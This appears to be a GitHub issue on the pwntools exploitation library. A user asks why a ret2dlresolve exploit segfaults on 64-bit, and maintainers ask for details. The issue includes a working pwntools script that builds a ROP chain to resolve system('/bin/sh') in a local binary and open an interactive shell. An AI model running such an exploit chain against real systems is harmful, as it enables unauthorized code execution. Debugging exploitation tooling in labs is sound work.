pwntools
pwntools copied to clipboard
ret2dlresolve segfaulting.
get segfault for 64 bit, the 64+context.bytes are 72, and this seems to be the correct offset for the 64bit example.
on 32 bit p.send(fit({76: rop.chain(), 200: dlresolve.payload})) getting still a shell
from pwn import *
context.binary = elf = ELF('./main')
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
print(64+context.bytes)
p = elf.process()
p.sendline(fit({64+context.bytes:rop.chain(), 200:dlresolve.payload}))
p.interactive()
Thank you for contributing to pwntools. In order for us to be able to help you, we need more information.
- What have you done?
- What did you expect?
- What happened instead?
- What version of pwntools are you using (
pwn version), what scripts and binaries have you used, can we reproduce it too?
Try adding context.arch = 'amd64' at line 3? Pwntools have 32bit and 64bit payloads and 32bit is the default option.
Were you able to resolve this?
Need more information. Feel free to reopen once you can tell us more.